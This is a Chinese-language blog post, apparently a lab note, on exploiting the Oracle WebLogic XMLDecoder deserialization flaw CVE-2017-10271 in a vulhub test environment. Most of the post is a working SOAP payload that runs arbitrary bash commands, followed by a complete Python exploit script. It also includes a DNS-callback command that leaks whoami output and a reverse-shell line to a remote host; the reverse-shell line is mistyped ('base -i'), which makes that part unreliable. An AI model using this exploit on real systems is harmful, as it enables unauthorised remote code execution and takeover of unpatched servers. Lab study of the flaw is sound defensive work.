本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
Weblogic 反序列化漏洞 CVE-2017-10271
📚测试环境
vulhub 靶场 weblogic CVE-2017-10271 环境。
使用 docker-compose 开启环境
访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5)
📚漏洞原理
Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现了反序列化漏洞,导致 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
📚影响版本
- Oracle Weblogic Server 10.3.6.0.0
- Oracle Weblogic Server 12.1.3.0.0
- Oracle Weblogic Server 12.2.1.1.0
- Oracle Weblogic Server 12.2.1.2.0
- Oracle Weblogic Server 12.2.1.3.0
📚POC 示例
访问:
/wls-wsat/CoordinatorPortType
如可成功访问 WebService,说明可以利用
利用 POC:<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string> /bin/bash </string> </void> <void index="1"> <string> -c </string> </void> <void index="2"> <string> ${command} </string> </void> </array> <void method="start" /> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body /> </soapenv:Envelope>
command = 'ping `whoami`.44tppy.dnslog.cn' command = 'base -i >& /dev/tcp/192.168.225.128/4444 0>&1'
V1.0
#! /usr/bin/env python ''' Weblogic 反序列化漏洞 - CVE-2017-10271 原理: Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据, 在解析的过程中出现了反序列化漏洞,导致 XMLDecoder 来解析用户传入的 XML 数据, 在解析的过程中出现反序列化漏洞,导致可执行任意命令。 payload exp1 ''' import requests from urllib.parse import urljoin import datetime from rich import print as rprint from fake_useragent import UserAgent ua = UserAgent() def get_time(): return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") def check_vul_exist(base_url, command): check_url = '/wls-wsat/CoordinatorPortType' check_url = urljoin(base_url, check_url) response = requests.get(check_url) if response.status_code == 200 and 'Web Services' in response.text: rprint( "[[bold green]" + get_time() + "[/bold green]] [[bold green]Success[/bold green]] > [bold yellow]" + f" Weblogic 反序列化漏洞存在,尝试利用 " + "[/bold yellow]") cve_2017_10271(base_url, command) else: rprint( "[[bold green]" + get_time() + "[/bold green]] [[bold red]Failed[/bold red]] > [bold yellow]" + " Weblogic 反序列化漏洞不存在 " + "[/bold yellow]") def cve_2017_10271(base_url, command): check_url = '/wls-wsat/CoordinatorPortType' check_url = urljoin(base_url, check_url) headers = { 'User-Agent': ua.random, 'Content-Type': 'text/xml' } payload = f''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string> /bin/bash </string> </void> <void index="1"> <string> -c </string> </void> <void index="2"> <string> ${command} </string> </void> </array> <void method="start" /> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body /> </soapenv:Envelope> ''' response = requests.post(check_url, headers=headers, data=payload) print(response.status_code) if response.status_code == 500: rprint( "[[bold green]" + get_time() + "[/bold green]] [[bold green]Success[/bold green]] > [bold yellow]" + f" Weblogic 反序列化漏洞执行成功 " + "[/bold yellow]") else: rprint( "[[bold green]" + get_time() + "[/bold green]] [[bold red]Failed[/bold red]] > [bold yellow]" + " Weblogic 反序列化漏洞不存在 " + "[/bold yellow]") if __name__ == '__main__': base_url = 'http://192.168.225.135:7001' command = 'ping `whoami`.44tppy.dnslog.cn' # command = 'base -i >& /dev/tcp/192.168.225.128/4444 0>&1' check_vul_exist(base_url, command)